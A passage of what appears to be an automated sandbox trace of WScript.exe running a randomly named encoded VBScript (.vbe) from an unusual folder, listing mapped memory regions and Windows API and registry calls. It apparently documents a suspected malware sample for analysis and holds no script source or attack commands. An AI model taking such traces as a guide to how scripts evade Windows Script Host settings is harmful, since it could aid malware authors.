0x74ab158e region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 477 start_va = 0x76ed0000 end_va = 0x76edbfff monitored = 0 entry_point = 0x76ed238e region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 478 start_va = 0x738a0000 end_va = 0x738b6fff monitored = 0 entry_point = 0x738a3573 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 479 start_va = 0x250000 end_va = 0x28bfff monitored = 0 entry_point = 0x25128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 480 start_va = 0x250000 end_va = 0x28bfff monitored = 0 entry_point = 0x25128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 481 start_va = 0x250000 end_va = 0x28bfff monitored = 0 entry_point = 0x25128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 482 start_va = 0x250000 end_va = 0x28bfff monitored = 0 entry_point = 0x25128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 483 start_va = 0x250000 end_va = 0x28bfff monitored = 0 entry_point = 0x25128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 484 start_va = 0x73860000 end_va = 0x7389afff monitored = 0 entry_point = 0x7386128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 485 start_va = 0x250000 end_va = 0x250fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "et1pu6valkuoy7guc90a.vbe" filename = "\\comproviderRuntimecommon\\et1pu6VAlkUOY7GuC90A.vbe" (normalized: "c:\\comproviderruntimecommon\\et1pu6valkuoy7guc90a.vbe") Region: id = 486 start_va = 0x2a0000 end_va = 0x2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 487 start_va = 0x24d0000 end_va = 0x25cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024d0000" filename = "" Region: id = 488 start_va = 0x7efad000 end_va = 0x7efaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 489 start_va = 0x749b0000 end_va = 0x749b7fff monitored = 0 entry_point = 0x749b3bf5 region_type = mapped_file name = "msisip.dll" filename = "\\Windows\\SysWOW64\\msisip.dll" (normalized: "c:\\windows\\syswow64\\msisip.dll") Region: id = 490 start_va = 0x25d0000 end_va = 0x29cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000025d0000" filename = "" Region: id = 491 start_va = 0x260000 end_va = 0x260fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "et1pu6valkuoy7guc90a.vbe" filename = "\\comproviderRuntimecommon\\et1pu6VAlkUOY7GuC90A.vbe" (normalized: "c:\\comproviderruntimecommon\\et1pu6valkuoy7guc90a.vbe") Region: id = 492 start_va = 0x2a40000 end_va = 0x2a7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a40000" filename = "" Region: id = 493 start_va = 0x2bf0000 end_va = 0x2ceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002bf0000" filename = "" Region: id = 494 start_va = 0x74990000 end_va = 0x749a5fff monitored = 1 entry_point = 0x749913df region_type = mapped_file name = "wshext.dll" filename = "\\Windows\\SysWOW64\\wshext.dll" (normalized: "c:\\windows\\syswow64\\wshext.dll") Region: id = 495 start_va = 0x7efaa000 end_va = 0x7efacfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 496 start_va = 0x71e50000 end_va = 0x71ed3fff monitored = 0 entry_point = 0x71e519a9 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 497 start_va = 0x75be0000 end_va = 0x76829fff monitored = 0 entry_point = 0x75c61601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 498 start_va = 0x751c0000 end_va = 0x75216fff monitored = 0 entry_point = 0x751d9ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 499 start_va = 0x2cf0000 end_va = 0x2e6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002cf0000" filename = "" Region: id = 500 start_va = 0x74960000 end_va = 0x7498cfff monitored = 1 entry_point = 0x74961351 region_type = mapped_file name = "scrobj.dll" filename = "\\Windows\\SysWOW64\\scrobj.dll" (normalized: "c:\\windows\\syswow64\\scrobj.dll") Region: id = 501 start_va = 0x250000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 502 start_va = 0x2a80000 end_va = 0x2b7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a80000" filename = "" Region: id = 503 start_va = 0x74930000 end_va = 0x74950fff monitored = 1 entry_point = 0x7493e356 region_type = mapped_file name = "wshom.ocx" filename = "\\Windows\\SysWOW64\\wshom.ocx" (normalized: "c:\\windows\\syswow64\\wshom.ocx") Region: id = 504 start_va = 0x71e30000 end_va = 0x71e41fff monitored = 0 entry_point = 0x71e31200 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 505 start_va = 0x71e00000 end_va = 0x71e29fff monitored = 0 entry_point = 0x71e013f2 region_type = mapped_file name = "scrrun.dll" filename = "\\Windows\\SysWOW64\\scrrun.dll" (normalized: "c:\\windows\\syswow64\\scrrun.dll") Region: id = 506 start_va = 0x260000 end_va = 0x26bfff monitored = 1 entry_point = 0x26e356 region_type = mapped_file name = "wshom.ocx" filename = "\\Windows\\SysWOW64\\wshom.ocx" (normalized: "c:\\windows\\syswow64\\wshom.ocx") Region: id = 507 start_va = 0x270000 end_va = 0x270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 508 start_va = 0x2b80000 end_va = 0x2bbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002b80000" filename = "" Region: id = 509 start_va = 0x2d00000 end_va = 0x2dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002d00000" filename = "" Region: id = 510 start_va = 0x2e60000 end_va = 0x2e6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002e60000" filename = "" Region: id = 511 start_va = 0x736e0000 end_va = 0x737d4fff monitored = 0 entry_point = 0x736f0d9e region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll") Region: id = 512 start_va = 0x7efa7000 end_va = 0x7efa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 513 start_va = 0x280000 end_va = 0x281fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000280000" filename = "" Region: id = 514 start_va = 0x73a90000 end_va = 0x73c2dfff monitored = 0 entry_point = 0x73abe6b5 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 515 start_va = 0x290000 end_va = 0x290fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 516 start_va = 0x2e0000 end_va = 0x2e1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002e0000" filename = "" Region: id = 517 start_va = 0x650000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 518 start_va = 0x2f40000 end_va = 0x303ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002f40000" filename = "" Region: id = 519 start_va = 0x737e0000 end_va = 0x7382bfff monitored = 0 entry_point = 0x737e2c14 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 520 start_va = 0x7efa4000 end_va = 0x7efa6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa4000" filename = "" Region: id = 521 start_va = 0x759d0000 end_va = 0x75b6cfff monitored = 0 entry_point = 0x759d17e7 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\SysWOW64\\setupapi.dll" (normalized: "c:\\windows\\syswow64\\setupapi.dll") Region: id = 522 start_va = 0x758a0000 end_va = 0x758c6fff monitored = 0 entry_point = 0x758a58b9 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 523 start_va = 0x75b70000 end_va = 0x75b81fff monitored = 0 entry_point = 0x75b71441 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll") Region: id = 524 start_va = 0x290000 end_va = 0x29cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\setupapi.dll.mui") Region: id = 525 start_va = 0x71bc0000 end_va = 0x71df7fff monitored = 0 entry_point = 0x71bc16d6 region_type = mapped_file name = "wpdshext.dll" filename = "\\Windows\\SysWOW64\\wpdshext.dll" (normalized: "c:\\windows\\syswow64\\wpdshext.dll") Region: id = 526 start_va = 0x300000 end_va = 0x301fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000300000" filename = "" Region: id = 527 start_va = 0x71b80000 end_va = 0x71bb1fff monitored = 0 entry_point = 0x71b837f1 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\SysWOW64\\winmm.dll" (normalized: "c:\\windows\\syswow64\\winmm.dll") Region: id = 528 start_va = 0x719f0000 end_va = 0x71b7ffff monitored = 0 entry_point = 0x71a8d026 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll") Region: id = 529 start_va = 0x719c0000 end_va = 0x719edfff monitored = 0 entry_point = 0x719c1bba region_type = mapped_file name = "shdocvw.dll" filename = "\\Windows\\SysWOW64\\shdocvw.dll" (normalized: "c:\\windows\\syswow64\\shdocvw.dll") Region: id = 530 start_va = 0x29f0000 end_va = 0x2a2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000029f0000" filename = "" Region: id = 531 start_va = 0x3090000 end_va = 0x318ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003090000" filename = "" Region: id = 532 start_va = 0x73c30000 end_va = 0x746affff monitored = 0 entry_point = 0x73c36b95 region_type = mapped_file name = "ieframe.dll" filename = "\\Windows\\SysWOW64\\ieframe.dll" (normalized: "c:\\windows\\syswow64\\ieframe.dll") Region: id = 533 start_va = 0x7efa1000 end_va = 0x7efa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa1000" filename = "" Region: id = 534 start_va = 0x75950000 end_va = 0x75954fff monitored = 0 entry_point = 0x75951438 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 535 start_va = 0x748e0000 end_va = 0x7491bfff monitored = 0 entry_point = 0x748e3089 region_type = mapped_file name = "oleacc.dll" filename = "\\Windows\\SysWOW64\\oleacc.dll" (normalized: "c:\\windows\\syswow64\\oleacc.dll") Region: id = 536 start_va = 0x74f30000 end_va = 0x7512afff monitored = 0 entry_point = 0x74f322d9 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 537 start_va = 0x310000 end_va = 0x310fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "oleaccrc.dll" filename = "\\Windows\\SysWOW64\\oleaccrc.dll" (normalized: "c:\\windows\\syswow64\\oleaccrc.dll") Region: id = 538 start_va = 0x3a0000 end_va = 0x3a1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 539 start_va = 0x748a0000 end_va = 0x748c0fff monitored = 0 entry_point = 0x748a145e region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 540 start_va = 0x75b90000 end_va = 0x75bd4fff monitored = 0 entry_point = 0x75b911e1 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\SysWOW64\\Wldap32.dll" (normalized: "c:\\windows\\syswow64\\wldap32.dll") Region: id = 541 start_va = 0x3b0000 end_va = 0x3b3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 542 start_va = 0x3c0000 end_va = 0x3e5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000a.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000a.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000a.db") Region: id = 543 start_va = 0x3f0000 end_va = 0x3f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 544 start_va = 0x3190000 end_va = 0x3290fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003190000" filename = "" Region: id = 545 start_va = 0x3190000 end_va = 0x3290fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003190000" filename = "" Region: id = 546 start_va = 0x3190000 end_va = 0x3290fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003190000" filename = "" Region: id = 547 start_va = 0x748d0000 end_va = 0x748dafff monitored = 0 entry_point = 0x748d1992 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 548 start_va = 0x3b0000 end_va = 0x3b3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 549 start_va = 0x5c0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000015.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000015.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000015.db") Region: id = 550 start_va = 0x400000 end_va = 0x403fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 551 start_va = 0x2460000 end_va = 0x24c5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 552 start_va = 0x410000 end_va = 0x41dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\propsys.dll.mui") Region: id = 553 start_va = 0x74de0000 end_va = 0x74f15fff monitored = 0 entry_point = 0x74de1b35 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 554 start_va = 0x755b0000 end_va = 0x756a4fff monitored = 0 entry_point = 0x755b1865 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 555 start_va = 0x460000 end_va = 0x460fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Thread: id = 6 os_tid = 0xe20 [0082.484] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24f94c | out: lpSystemTimeAsFileTime=0x24f94c*(dwLowDateTime=0xde92f40, dwHighDateTime=0x1d8a92a)) [0082.484] GetCurrentProcessId () returned 0xe1c [0082.484] GetCurrentThreadId () returned 0xe20 [0082.484] GetTickCount () returned 0x137ffd7 [0082.484] QueryPerformanceCounter (in: lpPerformanceCount=0x24f944 | out: lpPerformanceCount=0x24f944*=2056134785631) returned 1 [0082.485] GetStartupInfoA (in: lpStartupInfo=0x24f960 | out: lpStartupInfo=0x24f960*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\WScript.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0082.485] GetModuleHandleA (lpModuleName=0x0) returned 0x6d0000 [0082.485] GetModuleHandleA (lpModuleName=0x0) returned 0x6d0000 [0082.485] GetVersionExA (in: lpVersionInformation=0x24f870*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x1000000, dwMinorVersion=0x24f7c0, dwBuildNumber=0x0, dwPlatformId=0x24f9e0, szCSDVersion="Í\x1e÷v²\x17Å") | out: lpVersionInformation=0x24f870*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0082.485] GetUserDefaultLCID () returned 0x409 [0082.486] CoInitialize (pvReserved=0x0) returned 0x0 [0082.499] GetCommandLineW () returned="\"C:\\Windows\\System32\\WScript.exe\" \"C:\\comproviderRuntimecommon\\et1pu6VAlkUOY7GuC90A.vbe\" " [0082.499] lstrlenW (lpString="\"C:\\Windows\\System32\\WScript.exe\" \"C:\\comproviderRuntimecommon\\et1pu6VAlkUOY7GuC90A.vbe\" ") returned 89 [0082.500] ??2@YAPAXI@Z () returned 0x2f12b0 [0082.500] ??2@YAPAXI@Z () returned 0x2f1370 [0082.500] GetCurrentThreadId () returned 0xe20 [0082.500] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x24f680 | out: phkResult=0x24f680*=0xa0) returned 0x0 [0082.500] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x24f684 | out: phkResult=0x24f684*=0xa4) returned 0x0 [0082.500] RegQueryValueExW (in: hKey=0xa4, lpValueName="IgnoreUserSettings", lpReserved=0x0, lpType=0x24ea34, lpData=0x24ea38, lpcbData=0x24ea30*=0x400 | out: lpType=0x24ea34*=0x0, lpData=0x24ea38*=0x0, lpcbData=0x24ea30*=0x400) returned 0x2 [0082.500] RegQueryValueExW (in: hKey=0xa0, lpValueName="Enabled", lpReserved=0x0, lpType=0x24ea34, lpData=0x24ea38, lpcbData=0x24ea30*=0x400 | out: lpType=0x24ea34*=0x0, lpData=0x24ea38*=0x0, lpcbData=0x24ea30*=0x400) returned 0x2 [0082.500] RegQueryValueExW (in: hKey=0xa4, lpValueName="Enabled", lpReserved=0x0, lpType=0x24ea34, lpData=0x24ea38, lpcbData=0x24ea30*=0x400 | out: lpType=0x24ea34*=0x0, lpData=0x24ea38*=0x0, lpcbData=0x24ea30*=0x400) returned 0x2 [0082.501] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x0, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0082.523] RegCloseKey (hKey=0xa4) returned 0x0 [0082.523] RegCloseKey (hKey=0xa0) returned 0x0 [0082.523] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x24f450 | out: phkResult=0x24f450*=0xa0) returned 0x0 [0082.524] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x24f44c | out: phkResult=0x24f44c*=0xa4) returned 0x0 [0082.524] RegQueryValueExW (in: hKey=0xa4, lpValueName="IgnoreUserSettings", lpReserved=0x0, lpType=0x24e7dc, lpData=0x24e7e0, lpcbData=0x24e7d8*=0x400 | out: lpType=0x24e7dc*=0x0, lpData=0x24e7e0*=0xc0, lpcbData=0x24e7d8*=0x400) returned 0x2 [0082.524] RegQueryValueExW (in: hKey=0xa0, lpValueName="LogSecuritySuccesses", lpReserved=0x0, lpType=0x24e7dc, lpData=0x24e7e0, lpcbData=0x24e7d8*=0x400 | out: lpType=0x24e7dc*=0x0, lpData=0x24e7e0*=0xc0, lpcbData=0x24e7d8*=0x400) returned 0x2 [0082.524] RegQueryValueExW (in: hKey=0xa4, lpValueName="LogSecuritySuccesses", lpReserved=0x0, lpType=0x24e7dc, lpData=0x24e7e0, lpcbData=0x24e7d8*=0x400 | out: lpType=0x24e7dc*=0x0, lpData=0x24e7e0*=0xc0, lpcbData=0x24e7d8*=0x400) returned 0x2 [0082.524] RegCloseKey (hKey=0xa4) returned 0x0 [0082.524] RegCloseKey (hKey=0xa0) returned 0x0 [0082.524] GetACP () returned 0x4e4 [0082.524] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x752b0000 [0082.524] GetProcAddress (hModule=0x752b0000, lpProcName="HeapSetInformation") returned 0x752c5609 [0082.524] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0082.524] FreeLibrary (hLibModule=0x752b0000) returned 1 [0082.524] ??2@YAPAXI@Z () returned 0x2f1388 [0082.525] CoRegisterMessageFilter (in: lpMessageFilter=0x2f1388, lplpMessageFilter=0x2f1390 | out: lplpMessageFilter=0x2f1390*=0x0) returned 0x0 [0082.525] IUnknown:AddRef (This=0x2f1388) returned 0x2 [0082.525] GetModuleFileNameW (in: hModule=0x6d0000, lpFilename=0x24f6c0, nSize=0x105 | out: lpFilename="C:\\Windows\\SysWOW64\\WScript.exe" (normalized: "c:\\windows\\syswow64\\wscript.exe")) returned 0x1f [0082.525] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\SysWOW64\\WScript.exe", lpdwHandle=0x24f0d4 | out: lpdwHandle=0x24f0d4) returned 0x704 [0082.525] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\SysWOW64\\WScript.exe", dwHandle=0x0, dwLen=0x704, lpData=0x24e9b0 | out: lpData=0x24e9b0) returned 1 [0082.526] VerQueryValueW (in: pBlock=0x24e9b0, lpSubBlock="\\", lplpBuffer=0x24f0d0, puLen=0x24f0cc | out: lplpBuffer=0x24f0d0*=0x24e9d8, puLen=0x24f0cc) returned 1 [0082.526] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x24f0e4 | out: phkResult=0x24f0e4*=0xa0) returned 0x0 [0082.526] RegQueryValueExW (in: hKey=0xa0, lpValueName="IgnoreUserSettings", lpReserved=0x0, lpType=0x24e4b0, lpData=0x24e4b4, lpcbData=0x24e4ac*=0x400 | out: lpType=0x24e4b0*=0x0, lpData=0x24e4b4*=0x14, lpcbData=0x24e4ac*=0x400) returned 0x2 [0082.526] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x24f0e0 | out: phkResult=0x24f0e0*=0xa4) returned 0x0 [0082.526] RegQueryValueExW (in: hKey=0xa4, lpValueName="TrustPolicy", lpReserved=0x0, lpType=0x24f0a8, lpData=0x24f0dc, lpcbData=0x24f0b0*=0x4 | out: lpType=0x24f0a8*=0x0, lpData=0x24f0dc*=0xe0, lpcbData=0x24f0b0*=0x4) returned 0x2 [0082.526] RegQueryValueExW (in: hKey=0xa4, lpValueName="UseWINSAFER", lpReserved=0x0, lpType=0x24e4b0, lpData=0x24e4b4, lpcbData=0x24e4ac*=0x400 | out: lpType=0x24e4b0*=0x0, lpData=0x24e4b4*=0x14, lpcbData=0x24e4ac*=0x400) returned 0x2 [0082.526] RegQueryValueExW (in: hKey=0xa0, lpValueName="TrustPolicy", lpReserved=0x0, lpType=0x24f0a8, lpData=0x24f0dc, lpcbData=0x24f0b0*=0x4 | out: lpType=0x24f0a8*=0x0, lpData=0x24f0dc*=0xe0, lpcbData=0x24f0b0*=0x4) returned 0x2 [0082.526] RegQueryValueExW (in: hKey=0xa0, lpValueName="UseWINSAFER", lpReserved=0x0, lpType=0x24e4b0, lpData=0x24e4b4, lpcbData=0x24e4ac*=0x400 | out: lpType=0x24e4b0*=0x1, lpData="1", lpcbData=0x24e4ac*=0x4) returned 0x0 [0082.526] lstrlenW (lpString="1") returned 1 [0082.526] lstrlenW (lpString="0") returned 1 [0082.526] lstrlenW (lpString="1") returned 1 [0082.527] lstrlenW (lpString="no") returned 2 [0082.527] lstrlenW (lpString="1") returned 1 [0082.527] lstrlenW (lpString="false") returned 5 [0082.527] RegCloseKey (hKey=0xa4) returned 0x0 [0082.527] RegCloseKey (hKey=0xa0) returned 0x0 [0082.527] RegCreateKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20019, lpSecurityAttributes=0x0, phkResult=0x24f0f0, lpdwDisposition=0x0 | out: phkResult=0x24f0f0*=0xa0, lpdwDisposition=0x0) returned 0x0 [0082.527] RegQueryValueExW (in: hKey=0xa0, lpValueName="Timeout", lpReserved=0x0, lpType=0x24f0b4, lpData=0x24f0e4, lpcbData=0x24f0bc*=0x4 | out: lpType=0x24f0b4*=0x0, lpData=0x24f0e4*=0x2c, lpcbData=0x24f0bc*=0x4) returned 0x2 [0082.527] RegQueryValueExW (in: hKey=0xa0, lpValueName="DisplayLogo", lpReserved=0x0, lpType=0x24e4bc, lpData=0x24e4c0, lpcbData=0x24e4b8*=0x400 | out: lpType=0x24e4bc*=0x1, lpData="1", lpcbData=0x24e4b8*=0x4) returned 0x0 [0082.527] lstrlenW (lpString="1") returned 1 [0082.527] lstrlenW (lpString="0") returned 1 [0082.527] lstrlenW (lpString="1") returned 1 [0082.527] lstrlenW (lpString="no") returned 2 [0082.527] lstrlenW (lpString="1") returned 1 [0082.527] lstrlenW (lpString="false") returned 5 [0082.527] RegCloseKey (hKey=0xa0) returned 0x0 [0082.527] RegCreateKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", 